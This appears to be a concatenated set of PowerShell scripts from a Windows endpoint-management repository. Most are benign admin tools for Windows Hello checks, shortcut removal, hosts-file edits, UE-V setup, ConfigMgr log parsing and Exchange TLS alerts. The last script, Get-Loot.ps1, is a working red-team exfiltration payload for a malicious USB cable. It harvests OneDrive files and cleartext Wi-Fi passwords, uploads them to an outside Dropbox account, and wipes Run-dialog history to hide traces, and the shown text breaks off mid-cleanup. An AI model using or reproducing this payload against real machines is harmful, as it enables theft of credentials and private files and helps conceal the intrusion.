use 39 | if ($items.Where({$_.PSChildName -eq $loggedOnUserSID}).LogonCredsAvailable -eq 1) { 40 | Write-Output "[Multiple SIDs]: All good. PIN credential provider found for LoggedOnUserSID. This indicates that user is enrolled into WHfB." 41 | exit 0 42 | } 43 | # If LogonCredsAvailable is not set to 1, this will indicate that the PIN credential provider is not in use 44 | elseif ($items.Where({$_.PSChildName -eq $loggedOnUserSID}).LogonCredsAvailable -ne 1) { 45 | Write-Output "[Multiple SIDs]: Not good. PIN credential provider NOT found for LoggedOnUserSID. This indicates that the user is not enrolled into WHfB." 46 | exit 1 47 | } 48 | else { 49 | Write-Output "[Multiple SIDs]: Something is not right about the LoggedOnUserSID and the PIN credential provider. Needs investigation." 50 | exit 1 51 | } 52 | } 53 | # Looking for the SID belonging to the logged on user is slightly different if there's not mulitple SIDs found in registry 54 | else { 55 | if (($items.PSChildName -eq $loggedOnUserSID) -AND ($items.LogonCredsAvailable -eq 1)) { 56 | Write-Output "[Single SID]: All good. PIN credential provider found for LoggedOnUserSID. This indicates that user is enrolled into WHfB." 57 | exit 0 58 | } 59 | elseif (($items.PSChildName -eq $loggedOnUserSID) -AND ($items.LogonCredsAvailable -ne 1)) { 60 | Write-Output "[Single SID]: Not good. PIN credential provider NOT found for LoggedOnUserSID. This indicates that the user is not enrolled into WHfB." 61 | exit 1 62 | } 63 | else { 64 | Write-Output "[Single SID]: Something is not right about the LoggedOnUserSID and the PIN credential provider. Needs investigation." 65 | exit 1 66 | } 67 | } 68 | } 69 | else { 70 | Write-Output "Could not retrieve SID for the logged on user. Exiting script with status 1" 71 | exit 1 72 | } 73 | -------------------------------------------------------------------------------- /Detection-DeleteShortcuts.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Detect and remove desktop shortcuts using Proactive Remediations in Microft Endpoint Manager. 4 | 5 | .DESCRIPTION 6 | Detect and remove desktop shortcuts using Proactive Remediations in Microft Endpoint Manager. 7 | Shortcuts on All Users desktop (public desktop) or the current user's desktop can be detected and removed. 8 | 9 | .NOTES 10 | Filename: Detection-DeleteShortcuts.ps1 11 | Version: 1.0 12 | Author: Martin Bengtsson 13 | Blog: www.imab.dk 14 | Twitter: @mwbengtsson 15 | 16 | .LINK 17 | https://imab.dk/remove-desktop-shortcuts-for-the-current-user-and-public-profile-using-powershell-and-proactive-remediations 18 | #> 19 | 20 | #region Functions 21 | #Getting the current user's username by querying the explorer.exe process 22 | function Get-CurrentUser() { 23 | try { 24 | $currentUser = (Get-Process -IncludeUserName -Name explorer | Select-Object -First 1 | Select-Object -ExpandProperty UserName).Split("\")[1] 25 | } 26 | catch { 27 | Write-Output "Failed to get current user." 28 | } 29 | if (-NOT[string]::IsNullOrEmpty($currentUser)) { 30 | Write-Output $currentUser 31 | } 32 | } 33 | #Getting the current user's SID by using the user's username 34 | function Get-UserSID([string]$fCurrentUser) { 35 | try { 36 | $user = New-Object System.Security.Principal.NTAccount($fcurrentUser) 37 | $sid = $user.Translate([System.Security.Principal.SecurityIdentifier]) 38 | } 39 | catch { 40 | Write-Output "Failed to get current user SID." 41 | } 42 | if (-NOT[string]::IsNullOrEmpty($sid)) { 43 | Write-Output $sid.Value 44 | } 45 | } 46 | #Getting the current user's desktop path by querying registry with the user's SID 47 | function Get-CurrentUserDesktop([string]$fUserRegistryPath) { 48 | try { 49 | if (Test-Path -Path $fUserRegistryPath) { 50 | $currentUserDesktop = (Get-ItemProperty -Path $fUserRegistryPath -Name Desktop -ErrorAction Ignore).Desktop 51 | } 52 | } 53 | catch { 54 | Write-Output "Failed to get current user's desktop" 55 | } 56 | if (-NOT[string]::IsNullOrEmpty($currentUserDesktop)) { 57 | Write-Output $currentUserDesktop 58 | } 59 | } 60 | #endregion 61 | #region Execution 62 | try { 63 | #Edit here with names of the shortcuts you want removed 64 | $shortCutNames = @( 65 | "*Google Chrome*" 66 | "*compareDocs*" 67 | "*pdfDocs*" 68 | "*Microsoft Edge*" 69 | "*Microsoft Teams*" 70 | ) 71 | #Create empty array for shortcutsFound 72 | $shortcutsFound = @() 73 | #Retrieving current user and current user's SID 74 | $currentUser = Get-CurrentUser 75 | $currentUserSID = Get-UserSID $currentUser 76 | # Getting the AllUsers desktop path 77 | $allUsersDesktop = [Environment]::GetFolderPath("CommonDesktopDirectory") 78 | $userRegistryPath = "Registry::HKEY_USERS\$($currentUserSID)\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" 79 | $currentUserDesktop = Get-CurrentUserDesktop $userRegistryPath 80 | 81 | if (Test-Path -Path $allUsersDesktop) { 82 | foreach ($ShortcutName in $shortCutNames) { 83 | $shortCutsFound += Get-ChildItem -Path $allUsersDesktop -Filter *.lnk | Where-Object {$_.Name -like $shortCutName} 84 | } 85 | } 86 | if (Test-Path -Path $currentUserDesktop) { 87 | foreach ($ShortcutName in $shortCutNames) { 88 | $shortCutsFound += Get-ChildItem -Path $currentUserDesktop -Filter *.lnk | Where-Object {$_.Name -like $shortCutName} 89 | } 90 | } 91 | if (-NOT[string]::IsNullOrEmpty($shortcutsFound)) { 92 | Write-Output "Desktop shortcuts found. Returning True" 93 | $shortcutsFoundStatus = $true 94 | 95 | } 96 | elseif ([string]::IsNullOrEmpty($shortcutsFound)) { 97 | Write-Output "Desktop shortcuts NOT found. Returning False" 98 | $shortcutsFoundStatus = $false 99 | } 100 | } 101 | catch { 102 | Write-Output "Something went wrong during running of the script. Variable values are: $currentUser,$currentUserSID,$allUsersDesktop,$currentUserDesktop" 103 | } 104 | 105 | finally { 106 | if ($shortcutsFoundStatus -eq $true) { 107 | Write-Output "shortcutsFoundStatus equals True. Exiting with 1" 108 | exit 1 109 | } 110 | elseif ($shortcutsFoundStatus -eq $false) { 111 | Write-Output "shortcutsFoundStatus equals False. Exiting with 0" 112 | exit 0 113 | } 114 | } 115 | #endregion -------------------------------------------------------------------------------- /Disable-PoShV2.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script checks if Windows PowerShell version 2.0 is enabled on the system and disables it if it is. 4 | 5 | .DESCRIPTION 6 | The script uses the Get-WindowsOptionalFeature cmdlet to get the status of the "MicrosoftWindowsPowerShellV2Root" feature, which represents Windows PowerShell version 2.0. If the feature is enabled, the script attempts to disable it using the Disable-WindowsOptionalFeature cmdlet. 7 | 8 | .NOTES 9 | Filename: Disable-PoShV2.ps1 10 | Version: 1.0 11 | Author: Martin Bengtsson 12 | Blog: www.imab.dk 13 | Twitter: @mwbengtsson 14 | #> 15 | # Get the state of the PowerShell v2.0 feature 16 | try { 17 | $PoShv2Enabled = Get-WindowsOptionalFeature -FeatureName "MicrosoftWindowsPowerShellV2Root" -Online | Select-Object -ExpandProperty State 18 | } catch { 19 | Write-Error "Failed to get the state of the PowerShell v2.0 feature: $_" 20 | exit 1 21 | } 22 | # If the feature is enabled, try to disable it 23 | if ($PoShv2Enabled -eq "Enabled") { 24 | try { 25 | Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root -ErrorAction Stop 26 | exit 0 27 | } catch { 28 | Write-Error "Failed to disable the PowerShell v2.0 feature: $_" 29 | exit 1 30 | } 31 | } -------------------------------------------------------------------------------- /Edit-HKCURegistryfromSystem.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Modify registry for the CURRENT user coming from SYSTEM context 4 | 5 | .DESCRIPTION 6 | Same as above 7 | 8 | .NOTES 9 | Filename: Edit-HKCURegistryFromSystem.ps1 10 | Version: 1.0 11 | Author: Martin Bengtsson 12 | Blog: www.imab.dk 13 | Twitter: @mwbengtsson 14 | 15 | .LINK 16 | https://www.imab.dk/back-to-basics-modifying-registry-for-the-current-user-coming-from-system-context 17 | #> 18 | function Get-CurrentUser() { 19 | try { 20 | $currentUser = (Get-Process -IncludeUserName -Name explorer | Select-Object -First 1 | Select-Object -ExpandProperty UserName).Split("\")[1] 21 | } 22 | catch { 23 | Write-Output "Failed to get current user." 24 | } 25 | if (-NOT[string]::IsNullOrEmpty($currentUser)) { 26 | Write-Output $currentUser 27 | } 28 | } 29 | function Get-UserSID([string]$fCurrentUser) { 30 | try { 31 | $user = New-Object System.Security.Principal.NTAccount($fcurrentUser) 32 | $sid = $user.Translate([System.Security.Principal.SecurityIdentifier]) 33 | } 34 | catch { 35 | Write-Output "Failed to get current user SID." 36 | } 37 | if (-NOT[string]::IsNullOrEmpty($sid)) { 38 | Write-Output $sid.Value 39 | } 40 | } 41 | $currentUser = Get-CurrentUser 42 | $currentUserSID = Get-UserSID $currentUser 43 | $userRegistryPath = "Registry::HKEY_USERS\$($currentUserSID)\SOFTWARE\Policies\Microsoft\office\16.0\outlook\cached mode" 44 | New-ItemProperty -Path $userRegistryPath -Name "Enabled" -Value 0 -PropertyType DWORD -Force | Out-Null -------------------------------------------------------------------------------- /Edit-HostsFile.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Edit local hosts file in C:\Windows\System32\drivers\etc\hosts 4 | 5 | .DESCRIPTION 6 | Powershell script used to add or remove entries in the local hosts file in Windows 7 | 8 | .EXAMPLE 9 | .\Edit-HostsFile.ps1 -AddHost -IP 192.168.1.1 -Hostname ftw.imab.dk 10 | .\Edit-HostsFile.ps1 -RemoveHost -Hostname ftw.imab.dk 11 | 12 | .NOTES 13 | Filename: Edit-HostsFile.ps1 14 | Version: 1.0 15 | Author: Martin Bengtsson 16 | Blog: www.imab.dk 17 | Twitter: @mwbengtsson 18 | #> 19 | 20 | param ( 21 | [Parameter(Mandatory=$false)] 22 | [string]$IP, 23 | 24 | [Parameter(Mandatory=$true)] 25 | [string]$Hostname, 26 | 27 | [parameter(Mandatory=$false)] 28 | [ValidateNotNullOrEmpty()] 29 | [switch]$AddHost, 30 | 31 | [parameter(Mandatory=$false)] 32 | [ValidateNotNullOrEmpty()] 33 | [switch]$RemoveHost 34 | ) 35 | 36 | # Path to local hosts file 37 | $File = "C:\Windows\System32\drivers\etc\hosts" 38 | 39 | # function to add new host to hosts file 40 | function Add-Host([string]$fIP, [string]$fHostname) { 41 | Write-Verbose -Verbose -Message "Running Add-Host function..." 42 | $Content = Get-Content -Path $File | Select-String -Pattern ([regex]::Escape("$fHostname")) 43 | if(-NOT($Content)) { 44 | Write-Verbose -Verbose -Message "Adding $IP and $Hostname to hosts file" 45 | $fIP + "`t" + $fHostname | Out-File -Encoding ASCII -Append $File 46 | } 47 | } 48 | 49 | #function to remove host from hosts file 50 | function Remove-Host([string]$fHostname) { 51 | Write-Verbose -Verbose -Message "Running Remove-Host function..." 52 | $Content = Get-Content -Path $File 53 | $newLines = @() 54 | 55 | foreach ($Line in $Content) { 56 | $Bits = [regex]::Split($Line, "\t+") 57 | if ($Bits.count -eq 2) { 58 | Write-Host "doing something 1" 59 | if ($Bits[1] -ne $fHostname) { 60 | Write-Host "doing something 2" 61 | $newLines += $Line 62 | } 63 | } else { 64 | Write-Host "doing something else" 65 | $newLines += $Line 66 | } 67 | } 68 | Write-Verbose -Verbose -Message "Removing $Hostname from hosts file" 69 | Clear-Content $File 70 | foreach ($Line in $newLines) { 71 | Write-Host "doing something 3" 72 | $Line | Out-File -Encoding ASCII -Append $File 73 | } 74 | } 75 | 76 | # Run the functions depending on choice 77 | # Add host to file 78 | if ($PSBoundParameters["AddHost"]) { 79 | 80 | Add-Host $IP $Hostname 81 | 82 | } 83 | # Remove host from file 84 | if ($PSBoundParameters["RemoveHost"]) { 85 | 86 | Remove-Host $Hostname 87 | 88 | } -------------------------------------------------------------------------------- /Enable-UEV.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Enable UE-V with selected settings and register the local templates 4 | 5 | .DESCRIPTION 6 | Complete script to enable User Experience Virtualization during OSD with Configuration Manager. This script is initially tailored for my needs. 7 | Modify to suit your needs. 8 | I don't sync any Windows settings nor Windows apps, as I take care of that through Enterprise State Roaming in Azure. 9 | I don't use any central template catalog. Instead I just enable those built into the OS that I initially need (W10 1803 by the time of writing) 10 | 11 | .NOTES 12 | Filename: Enable-UEV.ps1 13 | Version: 1.0 14 | Author: Martin Bengtsson 15 | Blog: www.imab.dk 16 | Twitter: @mwbengtsson 17 | #> 18 | 19 | # Enable User Experience Virtualization 20 | try { 21 | Enable-Uev 22 | } 23 | 24 | catch [System.Exception] { 25 | Write-Warning -Message $_.Exception.Message ; break 26 | } 27 | 28 | # Set variables 29 | $UEVStatus = Get-UevStatus 30 | $TemplateDir = "$env:ALLUSERSPROFILE\Microsoft\UEV\InboxTemplates\" 31 | $TemplateArray = "DesktopSettings2013.xml","MicrosoftNotepad.xml","MicrosoftOffice2016Win32.xml","MicrosoftOffice2016Win64.xml","MicrosoftOutlook2016CAWin32.xml","MicrosoftOutlook2016CAWin64.xml","MicrosoftSkypeForBusiness2016Win32.xml","MicrosoftSkypeForBusiness2016Win64.xml","MicrosoftWordpad.xml" 32 | 33 | # Configure UEV 34 | if ($UEVStatus.UevEnabled -eq "True") { 35 | 36 | # Set sync to wait for logon and start of applications 37 | Set-UevConfiguration -Computer -EnableWaitForSyncOnApplicationStart -EnableWaitForSyncOnLogon 38 | 39 | # Set SyncMethod to External - for use with OneDrive 40 | Set-UevConfiguration -Computer -SyncMethod External 41 | 42 | # Set the Storagepath to OneDrive 43 | Set-UevConfiguration -Computer -SettingsStoragePath %OneDrive% 44 | 45 | # Do not synchronize any Windows apps settings for all users on the computer. 46 | Set-UevConfiguration -Computer -EnableDontSyncWindows8AppSettings 47 | 48 | # Do not display notification the first time that the service runs for all users on the computer. 49 | Set-UevConfiguration -Computer -DisableFirstUseNotification 50 | 51 | # Do not sync any Windows apps for all users on the computer 52 | Set-UevConfiguration -Computer -DisableSyncUnlistedWindows8Apps 53 | 54 | foreach ($Template in $TemplateArray) { 55 | 56 | try { 57 | # Register local UE-v templates 58 | Register-UevTemplate -LiteralPath $TemplateDir\$Template 59 | } 60 | catch [System.Exception] 61 | { 62 | Write-Warning -Message $_.Exception.Message ; break 63 | } 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /Find-BrokenO365Clients.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Find devices affected by issue described in KB4532996: https://support.microsoft.com/en-us/help/4532996/office-365-version-1910-updates-in-configmgr-do-not-download-or-apply 4 | 5 | .DESCRIPTION 6 | Script loops through CMBitsManager.log and searches for entries which matches the issue described in KB4532966. If the script finds the log entry which is associated with the issue, the script returns NON-COMPLIANT. 7 | This is intended to be used with a configuration item/baseline in ConfigMgr. 8 | 9 | .NOTES 10 | Filename: Find-BrokenO365Clients.ps1 11 | Version: 1.0 12 | Author: Martin Bengtsson 13 | Blog: www.imab.dk 14 | Twitter: @mwbengtsson 15 | #> 16 | 17 | function Get-CCMLogDirectory { 18 | $ccmLogDir = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\CCM\Logging\@Global').LogDirectory 19 | if ($ccmLogDir -eq $null) { 20 | $ccmLogDir = "$env:SystemDrive\windows\ccm\Logs" 21 | } 22 | Write-Output $ccmLogDir 23 | } 24 | 25 | function Search-CMLogFile { 26 | param( 27 | [Parameter(Mandatory=$true)]$LogFile, 28 | [Parameter(Mandatory=$true)][String[]]$SearchString, 29 | [datetime]$StartTime = [datetime]::MinValue 30 | ) 31 | 32 | $LogData = Get-Content $LogFile -ErrorAction SilentlyContinue 33 | 34 | if ($LogData) { 35 | 36 | :loop for ($i=($LogData.Count - 1);$i -ge 0; $i--) { 37 | 38 | try { 39 | $LogData[$i] -match '\<\!\[LOG\[(?.*)?\]LOG\]\!\>\.+)(?[+|-])(?\d{2,3})\"\s+date=\"(?.+)?\"\s+component=\"(?.+)?\"\s+context="(?.*)?\"\s+type=\"(?\d)?\"\s+thread=\"(?\d+)?\"\s+file=\"(?.+)?\"\>' | Out-Null 40 | $LogTime = [datetime]::ParseExact($("$($matches.date) $($matches.time)"),"MM-dd-yyyy HH:mm:ss.fff", $null) 41 | $LogMessage = $matches.message 42 | } 43 | catch { 44 | Write-Warning "Could not parse the line $($i) in '$($LogFile)': $($LogData[$i])" 45 | continue 46 | } 47 | 48 | if ($LogTime -lt $StartTime) { 49 | Write-Verbose -Verbose -Message "No log lines in $($LogFile) matched $($SearchString) before $($StartTime)." 50 | break loop 51 | } 52 | 53 | foreach ($String in $SearchString){ 54 | if ($LogMessage -match $String) { 55 | Write-Output $LogData[$i] 56 | break loop 57 | } 58 | } 59 | } 60 | } 61 | else { 62 | Write-Warning "No content from $LogFile retrieved" 63 | } 64 | } 65 | 66 | $localCulture = Get-Culture 67 | $regionDateFormat = [System.Globalization.CultureInfo]::GetCultureInfo($LocalCulture.LCID).DateTimeFormat.LongDateTimePattern 68 | $dateEnd = Get-Date -f $RegionDateFormat 69 | $dateStart = $dateEnd.AddDays(-3) 70 | $ccmLogDir = Get-CCMLogDirectory 71 | $ccmLogName = "CMBITSManager.log" 72 | $errorReason = "RemoteURL should be in this format - cmbits" 73 | 74 | $updatesBroken = Search-CMLogFile -LogFile "$ccmLogDir\$ccmLogName" -SearchString $errorReason -StartTime $dateStart 75 | 76 | if ($updatesBroken) { 77 | Write-Verbose -Verbose -Message "Found: '$errorReason' in log file: $ccmLogName" 78 | Write-Verbose -Verbose -Message "Office 365 ProPlus updates seems to be broken. Returning NON-COMPLIANT" 79 | Write-Output "NON-COMPLIANT" 80 | } 81 | else { 82 | Write-Verbose -Verbose -Message "Office 365 ProPlus updates seems OK. Returning COMPLIANT" 83 | Write-Output "COMPLIANT" 84 | } -------------------------------------------------------------------------------- /Get-EmailsNotSentUsingTLS.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .DESCRIPTION 3 | When forcing TLS encryption on outgoing e-mails due to GDPR requirements, Exchange Online will try sending the e-mail for 24 hours before dropping it and returning a default NDR (non-delivery report). 4 | 5 | Waiting 24 hours to get informed if your e-mail was delivered or not is not ideal, thus this script was created. 6 | 7 | The script will run on a schedule (say every 15 minutes) and look for e-mails send and recieved in the past 16 minutes. 8 | If any of the e-mails in those past 16 minutes are delayed due to lack of TLS support with the recipient, the script will send a custom e-mail to the sender right away. 9 | 10 | .NOTES 11 | Filename: Get-EmailsNotSentUsingTLS.ps1 12 | Version: 1.0 13 | Author: Martin Bengtsson 14 | Blog: www.imab.dk 15 | Twitter: @mwbengtsson 16 | 17 | Version history: 18 | 19 | 1.0 - Script created 20 | 21 | .LINK 22 | 23 | #> 24 | 25 | # Azure automation credentials 26 | # EDIT these to match your own credentials 27 | $AzureCredentials = Get-AutomationPSCredential -Name "AzureAutomation" 28 | $hlpCredentials = Get-AutomationPSCredential -Name "hlp" 29 | 30 | # Connect to the Exchange Online Management module (this is available in the module gallery in Azure Automation) 31 | if (Get-Module -Name ExchangeOnlineManagement -ListAvailable) { 32 | try { 33 | Write-Verbose -Verbose -Message "Connecting to Exchange Online using $AzureCredentials" 34 | Connect-ExchangeOnline -Credential $AzureCredentials -ShowProgress $true 35 | Write-Verbose -Verbose -Message "Successfully connected to Exchange Online" 36 | } 37 | catch { 38 | Write-Verbose -Verbose -Message "Failed to connect to Exchange Online. Please check if credentials and permissions are correct. Breaking script" 39 | break 40 | } 41 | } 42 | elseif (-NOT(Get-Module -Name ExchangeOnlineManagement -ListAvailable)) { 43 | Write-Verbose -Verbose -Message "The Exchange Online module is not available. Breaking script" 44 | break 45 | } 46 | 47 | # Office 365 and other variables 48 | # EDIT this to suit your needs 49 | $emailSmtp = "smtp.office365.com" 50 | $emailPort = "587" 51 | $emailFrom = "hlp@imab.dk" 52 | $emailSubject = "E-mail sent without encryption!" 53 | $emailBcc = "bcc1@imab.dk", "bcc2@imab.dk" 54 | $url = "https://imab.dk" 55 | $automaticReply = "Automatic reply:*" 56 | $sendingDomain = "*@imab.dk" 57 | 58 | # Reasons reported when e-mails are pending due to lack of TLS support 59 | # These are the reasons report I have found. Maybe there is more? If so, they can easily be added 60 | $reason0 = "Cannot connect to remote server" 61 | $reason1 = "STARTTLS is required to send mail" 62 | $reason2 = "Security status InvalidToken" 63 | 64 | # Format date and time 65 | # This is where we configure how far back the script will look for e-mails, which is currently 16 minutes 66 | $localCulture = Get-Culture 67 | $regionDateFormat = [System.Globalization.CultureInfo]::GetCultureInfo($LocalCulture.LCID).DateTimeFormat.LongDateTimePattern 68 | $dateEnd = Get-Date -f $RegionDateFormat 69 | $dateStart = $dateEnd.AddMinutes(-16) 70 | 71 | # Get all emails from the last 16 minutes which are pending and not an automatic reply 72 | # Automatic replies are filtered out. We don't want to trigger an e-mail based on an out of office reply 73 | $emailsPending = @() 74 | $emailsPending = Get-MessageTrace -StartDate $dateStart.ToUniversalTime() -EndDate $dateEnd.ToUniversalTime() | Where-Object {$_.Status -eq "Pending" -AND $_.Subject -notlike $automaticReply} | Select-Object Received,SenderAddress,RecipientAddress,MessageTraceID,Subject 75 | 76 | # Loop through each e-mail found 77 | Write-Verbose -Verbose -Message "Looping through each e-mail message with a status of pending in the Exchange Online queue" 78 | foreach ($email in $emailsPending) { 79 | 80 | $timestamp = $email.Received 81 | $sender = $email.SenderAddress 82 | $recipient = $email.RecipientAddress 83 | $messageId = $email.MessageTraceId 84 | $subject = $email.Subject 85 | 86 | # Get further message details from each e-mail 87 | # This is needed to see the exact cause of why the email is pending 88 | try { 89 | $result = Get-MessageTraceDetail -SenderAddress $sender -RecipientAddress $recipient -MessageTraceId $messageid 90 | } 91 | catch { } 92 | 93 | # Loop through each event on each e-mail 94 | foreach ($event in $result.Event) { 95 | 96 | # Only grab e-mails which have a status equal to Defer. This indicates e-mails being delayed for various reasons 97 | if ($event -eq "Defer") { 98 | 99 | # Loop through each line of details 100 | foreach ($detail in $result.Detail) { 101 | 102 | # Sorting out empty lines of details 103 | if ($detail -ne $null) { 104 | 105 | # Sorting again, only grabbing e-mails which matches the reasons for being delayed due to lack of TLS support with the recipient 106 | if (($detail -match $reason1) -AND ($detail -match $reason0)) { 107 | 108 | # E-mail being sent internally in the sending domain is not interesting. Only grabbing e-mails going out externally 109 | if (($sender -like $sendingDomain) -AND ($recipient -notlike $sendingDomain)) { 110 | 111 | Write-Verbose -Verbose -Message "*** E-mail found which matches all the criteria ***" 112 | Write-Verbose -Verbose -Message "Sender is: $sender recipient is: $recipient subject is: $subject MessageID is: $messageId" 113 | 114 | # Creating e-mail body including stylesheet 115 | $emailBody = " 116 | 117 | 118 | 137 | 138 | 139 |

Attention: Your e-mail has NOT been delivered!

140 |

Your e-mail sent to $recipient, sent on $timestamp (UTC+0), with the subject: '$subject', has not been delivered.

141 | 142 |

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce at ultricies erat. Duis ac aliquet massa. Vestibulum bibendum at velit vel volutpat.
143 | Donec vel orci tristique, pulvinar felis nec, finibus quam. Phasellus pulvinar leo est, et efficitur eros sollicitudin non. Nunc congue porta eleifend.
144 | Pellentesque aliquet sagittis egestas. Nam eget efficitur mauris. Maecenas at commodo nisi. Pellentesque fermentum neque posuere convallis congue.
145 | Curabitur eu diam risus. Proin ipsum eros, pellentesque nec tempus non, feugiat consectetur tortor.

146 | 147 |

Best regards,
www.imab.dk

148 | 149 | 150 | " 151 | 152 | # Try sending the e-mail using the SMTP details provided 153 | try { 154 | Write-Verbose -Verbose -Message "Sending a custom bounce e-mail to $sender, notifying him/her about the lack of encryption support with the recipient at $recipient" 155 | Send-MailMessage -To $sender -From $emailFrom -Subject $emailSubject -Body $emailBody -Credential $hlpCredentials -SmtpServer $emailSmtp -Port $emailPort -Priority High -Encoding Unicode -UseSsl -BodyAsHtml 156 | } 157 | catch { 158 | Write-Verbose -Verbose -Message "Failed to send the e-mail to $sender" 159 | } 160 | } 161 | } 162 | 163 | # Looking for a third reason to the email being delayed (reason2) 164 | elseif (($detail -match $reason0) -AND ($detail -match $reason2)) { 165 | 166 | # E-mail being sent internally in the sending domain is not interesting. Only grabbing e-mails going out externally 167 | if (($sender -like $sendingDomain) -AND ($recipient -notlike $sendingDomain)) { 168 | 169 | Write-Verbose -Verbose -Message "*** E-mail found which matches all the criteria ***" 170 | Write-Verbose -Verbose -Message "Sender is: $sender recipient is: $recipient subject is: $subject MessageID is: $messageId" 171 | 172 | # Creating e-mail body including stylesheet 173 | $emailBody = " 174 | 175 | 176 | 195 | 196 | 197 |

Attention: Your e-mail has NOT been delivered!

198 |

Your e-mail sent to $recipient, sent on $timestamp (UTC+0), with the subject: '$subject', has not been delivered.

199 | 200 |

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce at ultricies erat. Duis ac aliquet massa. Vestibulum bibendum at velit vel volutpat.
201 | Donec vel orci tristique, pulvinar felis nec, finibus quam. Phasellus pulvinar leo est, et efficitur eros sollicitudin non. Nunc congue porta eleifend.
202 | Pellentesque aliquet sagittis egestas. Nam eget efficitur mauris. Maecenas at commodo nisi. Pellentesque fermentum neque posuere convallis congue.
203 | Curabitur eu diam risus. Proin ipsum eros, pellentesque nec tempus non, feugiat consectetur tortor.

204 | 205 |

Best regards,
www.imab.dk

206 | 207 | 208 | " 209 | 210 | # Try sending the e-mail using the SMTP details provided 211 | try { 212 | Write-Verbose -Verbose -Message "Sending a custom bounce e-mail to $sender, notifying him/her about the lack of encryption support with the recipient at $recipient" 213 | Send-MailMessage -To $sender -From $emailFrom -Subject $emailSubject -Body $emailBody -Credential $hlpCredentials -SmtpServer $emailSmtp -Port $emailPort -Priority High -Encoding Unicode -UseSsl -BodyAsHtml 214 | } 215 | catch { 216 | Write-Verbose -Verbose -Message "Failed to send the e-mail to $sender" 217 | } 218 | } 219 | } 220 | } 221 | } 222 | } 223 | } 224 | } 225 | Write-Verbose -Verbose -Message "Script has completed" 226 | -------------------------------------------------------------------------------- /Get-Loot.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script is intended to run as a payload with the O.MG cable as a red team excercise. 4 | The script can also be run manually or with other authorities 5 | 6 | .DESCRIPTION 7 | The script currently collects files from a user's OneDrive (if OneDrive is used) and collects the user's wifi profiles. 8 | The script uploads the collected files to a private DropBox via the DropBox API. 9 | 10 | .NOTES 11 | Filename: Get-Loot.ps1 12 | Version: 1.0 13 | Author: Martin Bengtsson 14 | Blog: www.imab.dk 15 | Twitter: @mwbengtsson 16 | 17 | .LINK 18 | 19 | #> 20 | #region Functions 21 | # Create Upload-DropBox function 22 | # This is created based off the Dropbox API documentation 23 | function Upload-DropBox() { 24 | [CmdletBinding()] 25 | param( 26 | [Parameter(ValueFromPipeline=$True)] 27 | [string]$SourceFilePath 28 | ) 29 | # Grabbing the DropBox access token locally. The access token is delivered prior to running this script 30 | $accessToken = Get-Content -Path $env:TEMP\at.txt 31 | $outputFile = Split-Path $SourceFilePath -leaf 32 | $targetFilePath = "/$outputFile" 33 | $arg = '{ "path": "' + $targetFilePath + '", "mode": "add", "autorename": true, "mute": false }' 34 | $authorization = "Bearer " + $accessToken 35 | $authHeaders = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" 36 | $authHeaders.Add("Authorization", $authorization) 37 | $authHeaders.Add("Dropbox-API-Arg", $arg) 38 | $authHeaders.Add("Content-Type", 'application/octet-stream') 39 | Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $authHeaders 40 | } 41 | # Create Get-WifiProfiles function 42 | function Get-WifiProfiles() { 43 | # Create empty arrays 44 | $wifiProfileNames = @() 45 | $wifiProfileObjects = @() 46 | $netshOutput = netsh.exe wlan show profiles | Select-String -Pattern " : " 47 | foreach ($wifiProfileName in $netshOutput){ 48 | $wifiProfileNames += (($wifiProfileName -split ":")[1]).Trim() 49 | } 50 | foreach ($wifiProfileName in $wifiProfileNames){ 51 | try { 52 | $wifiProfilePassword = (((netsh.exe wlan show profiles name="$wifiProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim() 53 | } 54 | Catch { 55 | $wifiProfilePassword = "The password is not stored in this profile" 56 | } 57 | # Build the object and add this to an array 58 | $wifiProfileObject = New-Object PSCustomobject 59 | $wifiProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $wifiProfileName 60 | $wifiProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $wifiProfilePassword 61 | $wifiProfileObjects += $wifiProfileObject 62 | } 63 | Write-Output $wifiProfileObjects 64 | } 65 | #endregion 66 | #region Variables 67 | $computerName = $env:COMPUTERNAME 68 | $OneDriveLoot = "$env:TEMP\imabdk-loot-OneDrive-$computerName.zip" 69 | $wifiProfilesLoot = "$env:TEMP\imabdk-loot-WiFiProfiles-$computerName.txt" 70 | #endregion 71 | #region Script execution 72 | try { 73 | # Get OneDrive loot if such exist 74 | if (Test-Path $env:OneDrive) { 75 | # For testing purposes I limited this to only certain filetypes as well as only selecting the first 10 objects 76 | $getLoot = Get-ChildItem -Path $env:OneDrive -Recurse -Include *.docx,*.pptx,*.jpg | Select-Object -First 10 77 | # Zipping the OneDrive content for easier upload to Dropbox 78 | $getLoot | Compress-Archive -DestinationPath $OneDriveLoot -Update 79 | } 80 | # Get Wifi loot 81 | Get-WifiProfiles | Out-File $wifiProfilesLoot 82 | # Upload loot to Dropbox 83 | if ((Test-Path $OneDriveLoot) -OR (Test-Path $wifiProfilesLoot)) { 84 | Upload-DropBox -SourceFilePath $OneDriveLoot 85 | Upload-DropBox -SourceFilePath $wifiProfilesLoot 86 | } 87 | } 88 | catch { 89 | Write-Output "Script execution failed" 90 | } 91 | finally { 92 | # Cleanup after script 93 | # Flush history from run 94 | Remove-Item -Path "HKCU:\SOftware\Microsoft\Windows\CurrentVErsion\Explorer\RunMRU" -Force -ErrorAction SilentlyContinue 95 | # Clear out any temporary files 96 | Remove-Item -Path 